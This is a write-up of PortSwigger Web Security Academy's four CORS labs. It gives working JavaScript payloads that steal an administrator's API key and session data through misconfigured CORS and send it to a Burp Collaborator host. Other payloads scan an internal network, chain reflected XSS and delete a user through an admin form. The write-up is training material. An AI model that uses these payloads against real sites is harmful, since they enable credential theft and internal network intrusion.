WebSecurityAcademy (PortSwigger) – Cross-origin resource sharing (CORS)

Walk-through of the Cross-origin resource sharing (CORS) lab on PortSwigger Web Security Academy.

Apprentice – CORS vulnerability with basic origin reflection

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

  • Click on My account and log in with credentials wiener/peter. The API Key for user wiener is displayed.
  • Inspecting the requests, we can see that /accountDetails gives information about the user (including the API key).

Send the request to the Repeater module. Add the Origin: whatever HTTP header. The server accepts any value.

GET /accountDetails HTTP/1.1
...
Origin: whatever
HTTP/1.1 200 OK
Access-Control-Allow-Origin: whatever
Access-Control-Allow-Credentials: true
...

Click on Go to exploit server and copy this payload in the Body. Replace the lab ID and Burp Collaborator ID.

❗ Do NOT forget to add HTTPS in front of the Burp Collaborator URL.

<script>
    var victim = 'https://<LAB ID>.web-security-academy.net/accountDetails';
    var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET',victim,true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        req.open("GET", collaborator+"/?key="+btoa(req.response), true);
        req.send();
    };
</script>

Click on Deliver exploit to victim. The Burp Collaborator will receive an HTTP request.

GET /?key=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjFNdnF5UG53V1BPVTR6aWg5cmJXUFRFSERkUjRBdHVqIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiU0VDMlN5Um93dWhPSWc4c1NxTklKWDZJc1BlUk9paTciCiAgXQp9 HTTP/1.1

Send the key value to the Decoder module and decode it using base 64, or open the Inspector.

{
  "username": "administrator",
  "email": "",
  "apikey": "1MvqyPnwWPOU4zih9rbWPTEHDdR4Atuj",
  "sessions": [
    "..."
  ]
}

Click on Submit solution with the API key.

Apprentice – CORS vulnerability with trusted null origin

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

  • Click on My account and log in with credentials wiener/peter. The API Key for user wiener is displayed.
  • Inspecting the requests, we can see that /accountDetails gives information about the user (including the API key).

Send the request to the Repeater module. Add the Origin: null HTTP header. The server accepts null values, or any other value.

GET /accountDetails HTTP/1.1
...
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
...

Click on Go to exploit server and copy this payload in the Body. Replace the lab ID and Burp Collaborator ID.

❗ Do NOT forget to add HTTPS in front of the Burp Collaborator URL.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var victim = 'https://<LAB ID>.web-security-academy.net/accountDetails';
var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('GET',victim,true);
req.withCredentials = true;
req.send();

function reqListener() {
    location = collaborator+'/log?key='+btoa(this.responseText);
};
</script>"></iframe>

Click on Deliver exploit to victim. The Burp Collaborator will receive an HTTP request.

GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22IWAu2LYdq8Bmugr1n7gA3kQZIfxbxC5o%22,%20%20%22sessions%22:%20[%20%20%20%20%22aydJRHnarXHBJu9sefJjqWT1ysPLYnoL%22%20%20]} HTTP/1.1

Send the key value to the Decoder module and decode it using base 64, or open the Inspector.

{  "username": "administrator",  "email": "",  "apikey": "IWAu2LYdq8Bmugr1n7gA3kQZIfxbxC5o",  "sessions": [    "..."  ]}

Click on Submit solution with the API key.

Practitioner – CORS vulnerability with trusted insecure protocols

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

  • Click on My account and log in with credentials wiener/peter. The API Key for user wiener is displayed.
  • Inspecting the requests, we can see that /accountDetails gives information about the user (including the API key).

Send the request to the Repeater module. Add the Origin: whatever.<LAB ID>.web-security-academy.net HTTP header. The server accepts any subdomains with HTTP or HTTPS.

GET /accountDetails HTTP/1.1
...
Origin: http://whatever.<LAB ID>.web-security-academy.net
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://whatever.<LAB ID>.web-security-academy.net
Access-Control-Allow-Credentials: true

Click on View details for a product and then on Check stock. A window opens with an insecure HTTP connection.

http://stock.<LAB ID>.web-security-academy.net/?productId=1&storeId=1

We find a reflected XSS in the productId parameter.

https://stock.<LAB ID>.web-security-academy.net/?productId=17tqd38%3Cscript%3Ealert(1)%3C%2fscript%3Egkljx&storeId=1

Click on Go to exploit server and copy this payload in the Body. Replace the lab ID and Burp Collaborator ID.

❗ Do NOT forget to add HTTPS in front of the Burp Collaborator URL.

<script>
    var victim = 'https://<LAB ID>.web-security-academy.net/accountDetails';
    var victimSubdomain = 'http://stock.<LAB ID>.web-security-academy.net/?productId=1';
    var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

    document.location = victimSubdomain+"<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','" + victim + "',true); req.withCredentials = true;req.send();function reqListener() {location='" + collaborator + "/log?key='%2bthis.responseText; };%3c/script>&storeId=1";
</script>

Send the key value to the Decoder module and decode it using URL decoding, or open the Inspector.

{  "username": "administrator",  "email": "",  "apikey": "uNj1ZSKLr9d5bnMffQVf0DOds4GMVl9p",  "sessions": [    "..."  ]}

Click on Submit solution with the API key.

Expert – CORS vulnerability with internal network pivot attack

This lab requires multiple steps to complete. To solve the lab, craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. The lab is solved when you delete user Carlos.

First we need to locate an endpoint. Click on Go to exploit server and copy this payload in the Body. Replace the Burp Collaborator ID.

<script>
var q = [];
var collaboratorURL = 'https://<BURP COLLABORATOR ID>.oastify.com';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>

We get a response in Burp Collaborator with an IP address and the code from the web page.

GET /?ip=192.168.0.229:8080&code=
...
<h1>Login</h1>
<section>
    <form class=login-form method=POST action=/login>
        <input required type="hidden" name="csrf" value="f3i2KGgNghvLbwTWhsbDZRHAgTxRyjz8">
        <label>Username</label>
        <input required type=username name="username">
        <label>Password</label>
        <input required type=password name="password">
        <button class=button type=submit> Log in </button>
    </form>
</section>
...

We will now probe the username field for an XSS vulnerability. Send this payload using the Exploit server again. You should retrieve a Collaborator interaction with foundXSS=1 in the URL.

<script>
var victim = 'http://192.168.0.229:8080';
var collaboratorURL = 'https://<BURP COLLABORATOR ID>.oastify.com';

function xss(url, text, vector) {
    location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

fetch(victim).then(r => r.text().then(text => {
    xss(victim, text, '"><img src=' + collaboratorURL + '?foundXSS=1>');
}))
</script>

Get the source code of the admin page (http://192.168.0.229:8080/admin). Send this payload using the Exploit server again.

<script>
var victim = 'http://192.168.0.229:8080';
var collaboratorURL = 'https://<BURP COLLABORATOR ID>.oastify.com';

function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

fetch(victim).then(r=>r.text().then(text=>{
    xss(victim, text, '"><iframe src=/admin onload="new Image().src=\'' + collaboratorURL + '?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}))
</script>

There is a form to delete a user from the admin page.

<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
<input required="" type="hidden" name="csrf" value="6gJrUNJkMIZ8s3qlRVLdQ6aAYc94Qlqk">
<label>Username</label>
<input required="" type="text" name="username">
<button class="button" type="submit">Delete user</button>
</form>

Delete user carlos. Send this payload using the Exploit server again.

<script>
var victim = 'http://192.168.0.229:8080';

function xss(url, text, vector) {
    location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

fetch(victim).then(r=>r.text().then(text=>
{
    xss(victim, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}))
</script>